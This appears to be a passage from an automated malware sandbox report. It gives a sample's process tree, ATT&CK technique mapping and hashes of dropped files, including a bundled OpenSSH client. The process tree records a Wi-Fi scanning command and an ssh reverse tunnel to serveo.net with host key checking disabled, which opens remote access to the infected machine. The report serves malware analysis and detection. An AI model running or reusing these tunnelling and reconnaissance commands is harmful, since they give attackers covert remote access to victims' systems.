    "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2028
  - - C:\Windows\system32\chcp.com
      chcp 65001
      4⤵
      PID:1600
  - - C:\Windows\system32\netsh.exe
      netsh wlan show networks mode=bssid
      4⤵
      PID:1968
  - - C:\Windows\system32\findstr.exe
      findstr "SSID BSSID Signal"
      4⤵
      PID:1720
- - C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
    "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6298 serveo.net
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:2128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\.ssh\known_hosts

Filesize
393B

MD5
18015a60cd12f33648facec1263cfafa

SHA1
31b7afd9a2dc51bfad694e5772d430fceedbac3f

SHA256
9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190

SHA512
fcdb2e02f01c59916eaa08baeb74cc2f61eed6d96873f41a2299b752b9ec1af5db74a6eac6013c9a45a77d0bbc0431590f16fa74cff779eea97383e2fe073925

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
e221a78f42250fba946dc3deeb10a0d0

SHA1
8f8e77128293b691c4754ec10217279b53b76ce1

SHA256
57adae76913dda2e9c8262290f233f75607c63fda69104663f9e37d8a9232e02

SHA512
733ac3e8bb5ab3e0d694d97d4f274b84f1d633d5b683ac918be1b12027490c82bf0cc635684cb012e919bf8a38977524a4fea40d5df4d606da1e08bd8778182d

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
cf923ff543369ac8c35048cfb09ae23c

SHA1
0a3b66728c364a9408af2f05d17a917a19643056

SHA256
35b3ddc0797fafa8fe8c1c97a5378372b36ac0baa5204c197d194194764301bb

SHA512
0ee588d49d73d0695a2f2e839165f0792734b99c3f98fc8a28b1b732bb2014f5f16054e070185987796249f653d23709cdcaf75d8e633203eb3dcb898dceee44

Download Submit
C:\Users\Admin\AppData\Local\477mflh5px\port.dat

Filesize
4B

MD5
3487596cf54cb393afddaa965714ab1f

SHA1
a9abfec1f428ad27c5e83302509541ded06e3b94

SHA256
bcb05e9ef14b336689c3a2f3b2ee2a47e0a1625c8c4e333e8d24a2f95113c67f

SHA512
15afe86a97b35905e8c7b3b095199e689c1256ff3abeea14ad8db53c41ffda9e302dd4190ff5e1727e538c22dabab7e7e779a5725c5b5b81a9e3ade14667a391

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab76B8.tmp

Filesize
61KB

MD5
f3441b8572aae8801c04f3060b550443

SHA1
4ef0a35436125d6821831ef36c28ffaf196cda15

SHA256
6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf

SHA512
5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar7728.tmp

Filesize
163KB

MD5
9441737383d21192400eca82fda910ec

SHA1
725e0d606a4fc9ba44aa8ffde65bed15e65367e4

SHA256
bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5

SHA512
7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe

Filesize
914KB

MD5
d1ce628a81ab779f1e8f7bf7df1bb32c

SHA1
011c90c704bb4782001d6e6ce1c647bf2bb17e01

SHA256
2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71

SHA512
de44fff7a679138bae71103190ab450b17590df3c3dde466a54da80d2102a04fc6e12ad65448d9d935e01b577651121184b63133be6cb010aaa32d39786c740f

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
C:\Users\Admin\AppData\Local\WindowsSecurity\Vfd663501e1ac13eb331505b8388e675450.exe

Filesize
121KB

MD5
35625d89730f70f12ecdeaf795722865

SHA1
0fedcad5039e3317d0e434bb038b81850e8f3599

SHA256
0792aa1b02541d3073171a711b5fe4563b4a7084cfc228606e696d17e45324e5

SHA512
edef804d22bf09d6eb3dfa397fb8ca609967a4af77db0cbb79aafee1510cd7f0a6087f7b66316592b14bff775df20b0877a58c9ee14fbe77a91171a7559fb301

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll

Filesize
1.5MB

MD5
79a6e2268dfdba1d94c27f4b17265ff4

SHA1
b17eed8cb6f454700f8bfcfd315d5627d3cf741c

SHA256
6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5

SHA512
3ebe640a6395f6fbcfb28afe6383b8911f2d30847699dcbcbe1a0f5d9e090a9b7f714d5aa4e6a9891e72109edf494efaf0b7b2bb954e2763b1fbba2946c9723c

Download Submit
memory/1808-127-0x000000001ADE0000-0x000000001AE60000-memory.dmp

Filesize
512KB

Download
memory/1808-126-0x000007FEF4810000-0x000007FEF51FC000-memory.dmp

Filesize
9.9MB

Download
memory/1808-224-0x000007FEF4810000-0x000007FEF51FC000-memory.dmp

Filesize
9.9MB

Download
memory/2880-11-0x000000001B410000-0x000000001B490000-memory.dmp

Filesize
512KB

Download
memory/2880-10-0x000007FEF4810000-0x000007FEF51FC000-memory.dmp

Filesize
9.9MB

Download
memory/2880-9-0x0000000001170000-0x0000000001194000-memory.dmp

Filesize
144KB

Download
memory/2880-152-0x000007FEF4810000-0x000007FEF51FC000-memory.dmp

Filesize
9.9MB

Download
memory/2880-206-0x000000001B410000-0x000000001B490000-memory.dmp

Filesize
512KB

Download
memory/2972-0-0x00000000010E0000-0x0000000001104000-memory.dmp

Filesize
144KB

Download
memory/2972-5-0x000007FEF5200000-0x000007FEF5BEC000-memory.dmp

Filesize
9.9MB

Download
memory/2972-2-0x000000001B380000-0x000000001B400000-memory.dmp

Filesize
512KB

Download
memory/2972-1-0x000007FEF5200000-0x000007FEF5BEC000-memory.dmp

Filesize
9.9MB

Download